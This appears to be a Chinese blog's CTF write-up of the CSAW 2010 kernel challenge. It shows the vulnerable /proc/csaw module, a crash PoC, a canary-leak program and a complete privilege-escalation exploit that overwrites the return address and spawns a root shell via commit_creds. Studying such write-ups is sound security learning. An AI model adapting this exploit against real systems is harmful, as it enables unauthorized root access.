BruceFan's Blog

Stay hungry, stay foolish

0%

CSAW2010 Kernel Exploit

这是一道2010年关于Linux Kernel Exploit的题目,目标是提权。
题目代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
/*
* csaw.c
* CSAW CTF Challenge Kernel Module
* Jon Oberheide <jon@oberheide.org>
*
* This module implements the /proc/csaw interface which can be read
* and written like a normal file. For example:
*
* $ cat /proc/csaw
* Welcome to the CSAW CTF challenge. Best of luck!
* $ echo "Hello World" > /proc/csaw
*/

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>

#define MAX_LENGTH 64

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Jon Oberheide");
MODULE_DESCRIPTION("CSAW CTF Challenge Kernel Module");

static struct proc_dir_entry *csaw_proc;

int
csaw_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
char buf[MAX_LENGTH];

printk(KERN_INFO "csaw: called csaw_write\n");

/*
* We should be safe to perform this copy from userspace since our
* kernel is compiled with CC_STACKPROTECTOR, which includes a canary
* on the kernel stack to protect against smashing the stack.
*
* While the user could easily DoS the kernel, I don't think they
* should be able to escalate privileges without discovering the
* secret stack canary value.
*/
if (copy_from_user(&buf, ubuf, count)) {
printk(KERN_INFO "csaw: error copying data from userspace\n");
return -EFAULT;
}

return count;
}

int
csaw_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
char buf[MAX_LENGTH];

printk(KERN_INFO "csaw: called csaw_read\n");

*eof = 1;
memset(buf, 0, sizeof(buf));
strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!\n");
memcpy(page, buf + off, MAX_LENGTH);

return MAX_LENGTH;
}

static int __init
csaw_init(void)
{
printk(KERN_INFO "csaw: loading module\n");

csaw_proc = create_proc_entry("csaw", 0666, NULL);
csaw_proc->read_proc = csaw_read;
csaw_proc->write_proc = csaw_write;

printk(KERN_INFO "csaw: created /proc/csaw entry\n");

return 0;
}

static void __exit
csaw_exit(void)
{
if (csaw_proc) {
remove_proc_entry("csaw", csaw_proc);
}

printk(KERN_INFO "csaw: unloading module\n");
}

module_init(csaw_init);
module_exit(csaw_exit);

其中proc_dir_entry结构体定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct proc_dir_entry {
unsigned short low_ino;
unsigned short namelen;
const char *name;
mode_t mode;
nlink_t nlink;
uid_t uid;
gid_t gid;
unsigned long size;
struct inode_operations * proc_iops;
struct file_operations * proc_fops;
get_info_t *get_info;
struct module *owner;
struct proc_dir_entry *next, *parent, *subdir;
void *data;
read_proc_t *read_proc;
write_proc_t *write_proc;
atomic_t count; //use count
int deleted; //delete flag
kdev_t rdev;
};

其中csaw_read()原型函数:

1
int (*read_proc)(char *page, char **start, off_t offset, int count, int *eof, void *data)

这个函数与read的系统调用函数功能类似。就在/proc中为驱动程序设计了一个特有了文件(假设名csaw)后,则用户使用cat /proc/csaw时,会调用到此函数。
在/proc中创建文件的函数是create_proc_entry,并且返回一个proc_dir_entry结构体指针,通过给结构体指针的read_proc变量赋值,完成此文件与一个read_proc函数的关联。
删除这种关系,并且删除这个文件的函数是remove_proc_entry
函数的参数:

  • *page是驱动层向用户层返回的数据
  • **start表示写page的起始地址
  • off与read用法一致,表示文件指针的偏移
  • count与read用法一致,表示要读多少字节
  • eof输出参数
  • data由驱动内部使用

回到题目中,代码的漏洞就是csaw_write函数的copy_from_user()从用户空间做拷贝时,未作任何检查,导致栈溢出。但是从注释中可以知道出题人开启了kernel canary,直接溢出会导致kernel panic。这种情况下,一般采取的方法是leak或者crack。继续分析代码,看到read部分会把栈上的一个缓冲区拷贝到用户空间:

1
memcpy(page, buf + off, MAX_LENGTH);

而且还可以控制偏移(off),这里可以leak栈上的canary。那么思路大概就是:

1
junk+Canary+ebp+payload_addr

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
int main(int argc, char *argv[])
{
int fd = open("/proc/csaw", O_RDWR);
if (!fd) {
printf("error\n");
exit(1);
}
char poc[72];
memset(poc, 0x41, 72);
write(fd, poc, 72);
return 0;
}

PoC会直接导致kernel panic。
下面写一个dump程序来leak栈上的canary:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>

int main(int argc, char *argv[])
{
int fd = open("/proc/csaw", O_RDWR);
if (!fd) {
printf("error\n");
exit(1);
}
lseek(fd, 16, SEEK_CUR); // 设置csaw_read的off参数
char buffer[64] = {0};
read(fd, buffer, 64); // 从csaw_read的buf偏移为16的位置开始读64个字节到buffer
int i, j;
for (i = 0; i < 4; i++) { // 打印从内核读出的数据
for (j = 0; j < 16; j++) printf("%02x ", buffer[i*16+j] & 0xff);
printf(" | ");
for (j = 0; j < 16 ; j++) printf("%c", buffer[i*16+j] & 0xff);
printf("\n");
}
char canary[4] = {0};
memcpy(canary, buffer+32, 4); // canary的位置可以在IDA中分析或调试出来
printf("CANARY:");
for (i = 0; i < 4; i++) printf("%02x", canary[i] & 0xff);
printf("\n");
return 0;
}


调试方法和前面的文章中介绍的一样。感觉之前会gdb调试用户态程序,现在学调试内核程序也很好上手,只是peda用不了非常不爽。
exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>

struct trap_frame {
void *eip;
uint32_t cs;
uint32_t eflags;
void *esp;
uint32_t ss;
} __attribute__((packed));

void launch_shell(void)
{
execl("/bin/sh", "sh", NULL);
}

struct trap_frame tf;
void prepare_tf(void)
{
asm("pushl %cs; popl tf+4;"
"pushfl; popl tf+8;"
"pushl %esp; popl tf+12;"
"pushl %ss; popl tf+16;");
tf.eip = &launch_shell;
tf.esp -= 1024;
}

#define KERNCALL __attribute__((regparm(3)))
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xc1057590;
void *(*commit_creds)(void *) KERNCALL = (void *) 0xc10573f0;
void payload(void)
{
commit_creds(prepare_kernel_cred(0));
asm("mov $tf, %esp;"
"iret;");
}

int main(int argc, char *argv[])
{
int fd = open("/proc/csaw", O_RDWR);
if (!fd) {
printf("error\n");
exit(1);
}
lseek(fd, 16, SEEK_CUR);
char buffer[64];
read(fd, buffer, 64);
int i, j;
for (i = 0; i < 4; i++) {
for (j = 0; j < 16; j++) printf("%02x ", buffer[i*16+j] & 0xff);
printf(" | ");
for (j = 0; j < 16; j++) printf("%c", buffer[i*16+j] & 0xff);
printf("\n");
}
char canary[4];
memcpy(canary, buffer+32, 4);
printf("CANARY:");
for (i = 0; i < 4; i++) printf("%02x", canary[i] & 0xff);
printf("\n");
char exp[84];
memset(exp, 0x41, 84);
memcpy(exp+64, canary, 4); // 设置canary
*((void **)(exp+64+4+4+4+4)) = &payload; // 返回地址的位置可以IDA分析也可以调试,和用户态一样
printf("[*]payload:%s\n", exp);
printf("Triger bug:\n");
prepare_tf();
write(fd, exp, 84);
return 0;
}

编译后放到busybox里,新建用户测试exploit:

成功获取root shell!
reference
http://bobao.360.cn/learning/detail/3706.html
http://blog.csdn.net/wbd880419/article/details/6637102